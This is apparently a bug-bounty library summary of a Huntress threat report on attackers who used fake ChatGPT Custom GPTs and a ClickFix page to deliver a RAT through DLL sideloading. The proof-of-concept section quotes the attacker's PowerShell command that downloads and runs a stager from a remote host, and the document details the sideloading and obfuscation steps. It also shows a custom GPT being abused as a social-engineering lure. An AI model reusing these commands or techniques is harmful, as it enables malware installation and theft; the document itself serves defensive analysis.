# Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix

Attacker-built ChatGPT Custom GPTs served ClickFix lures that tricked dozens of victims into running PowerShell, installing a signed Canon app that sideloaded a malicious DLL and a full RAT.

- Payout: Real-world hack
- Severity: high
- Program: OpenAI
- Analysis by: Huntress
- Disclosed: 2026-09-28
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-chatgpt-custom-gpts-clickfix-rat
- Tags: area:os domain:desktop domain:web impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:windows technique:chained technique:reverse-engineering technique:source-review vuln:misconfiguration

**Target:** ChatGPT Custom GPT page, Google Sites ClickFix page, Windows endpoint (PowerShell, MSI, Canon COTFileReadApp.exe)
**Root cause:** Windows DLL search order loads a DLL from the application's own folder before system paths; attackers placed a patched, unsigned ceiinfolog.dll next to the legitimate Canon-signed COTFileReadApp.exe, and its import table pulls in malicious rdCore.dll. The Custom GPT itself is a social-engineering lure, not a code flaw.
**Steps:**
1. Victim clicks a sponsored Google ad for "chatgpt" landing on `hxxps://chatgpt[.]com/g/g-6ab595ad6554819181b686d4876efb80-plus-5-6?gad_source=1&gad_campaignid=[REDACTED]` (Custom GPT titled "Plus 5.6").
2. Any prompt returns a "Service Availability Notice" pointing to backup domain `hxxps://sites[.]google[.]com/view/antibot172881`.
3. Google Sites page shows a fake Cloudflare CAPTCHA ClickFix instructing the victim to paste into Terminal: `"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp\1777.ps1;& $env:temp\1777.ps1"`
4. Stager downloads obfuscated script (27,581 chars, 3,036 negative ints shifted by 1520498, second string layer key 6178128), decodes via `[scriptblock]::Create`, downloads MSI from decimal-IP host 1614733393 (96.62.224[.]81) over plain HTTP, runs `msiexec /qn /norestart` hidden, self-deletes.
5. MSI installs to `%LOCALAPPDATA%\Programs\Advanced Printer Configuration Reader\` with ARPSYSTEMCOMPONENT=1 and a custom action launching COTFileReadApp.exe.
6. COTFileReadApp.exe loads patched ceiinfolog.dll from its own folder; its import table entry `rdCore.dll!instance_levels_` causes rdCore.dll to load.
7. rdCore.dll loads WMPCL.dll, seeks to offset 0x24362 in Common.Integrator.Preview.wav, reads 341,395 bytes, XOR-decodes with rolling counters, executes as x64 shellcode.
8. Shellcode performs AMSI bypass, ntdll unhooking, anti-VM checks, hosts CLR, finds monitor.raw, decrypts custom archive (master key 0x26ace8d1), runs persistence script and @input RAT shellcode.
9. Persistence script re-creates HKCU Run key and scheduled task "Canon Configuration Reader" every 150s/875s; RAT resolves C2 via DNS-over-HTTPS to Cloudflare/Google/Quad9.
**How found:** Huntress SOC correlated 40 incidents to a single Google Sites domain and traced two back to a Custom GPT; researchers then reverse-engineered each stage by reading code and reimplementing decryption (negative-int shift, per-string key, rolling XOR, LCG stack strings, custom archive math) to recover the full chain.
**Exploitation:** Attackers paid for Google Ads to rank a fake "Plus 5.6" Custom GPT above organic results, then used the GPT's scripted response to funnel victims to a Google Sites ClickFix page. Victims pasted a PowerShell one-liner that pulled an obfuscated stager, downloaded a GUID-named MSI, and silently installed a Canon-signed host app that sideloaded a patched logging DLL. The chain decoded a loader from a WAV, unpacked a custom encrypted archive, and ran a full RAT with remote desktop, camera/mic capture, browser control, file search, and follow-on payload delivery. Persistence via Run key and scheduled task named "Canon Configuration Reader". V2 swapped the host to Stardock DeElevate64.exe and hid the loader in a NuGet package Build.dat, stripping Mark-of-the-Web before MSI execution.
**Escalation:** Multi-stage obfuscation (negative-int array, per-string second key, decimal-IP host, WAV-embedded shellcode, custom encrypted archive) to evade scanners; AMSI bypass, ntdll unhooking, anti-VM checks; RAT enables remote desktop, camera/mic, browser launch, and follow-on payload deployment (e.g. GOMCam2024.exe launching chrome.exe with throwaway profile).
**Insight:** When a signed host app loads a DLL by name from its own folder, patching that DLL's import table to add one extra entry (e.g. rdCore.dll!instance_levels_) is enough to hijack execution without touching the signed binary — look for unsigned DLLs with mismatched header checksums sitting next to signed EXEs, and for import-table entries a library has no business needing.

## Proof of concept (copied exactly from the original report)

**ClickFix PowerShell command that downloads and runs stager**

```
\"C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -ExecutionPolicy Bypass \"irm 1614733393/12 | Out-File $env:temp\\1777.ps1;& $env:temp\\1777.ps1\"
```

**Python reimplementation of WAV payload XOR decoder**

```
r8, r9 = 4, 0x13
for i in range(len(buf)):
 r9 = (r9 + i + 0x23) & 0xFFFFFFFF
 r8 = (r8 * 2 + 9) & 0xFFFFFFFF
 r9 = (r9 + i * 2) & 0xFFFFFFFF
 buf[i] ^= (r8 + 0x23 + r9) & 0xFF
```

**MSI download URL using decimal IP**

```
hxxp://1614733393/app/afafa98279c9/ISOSimple[.]msi
```

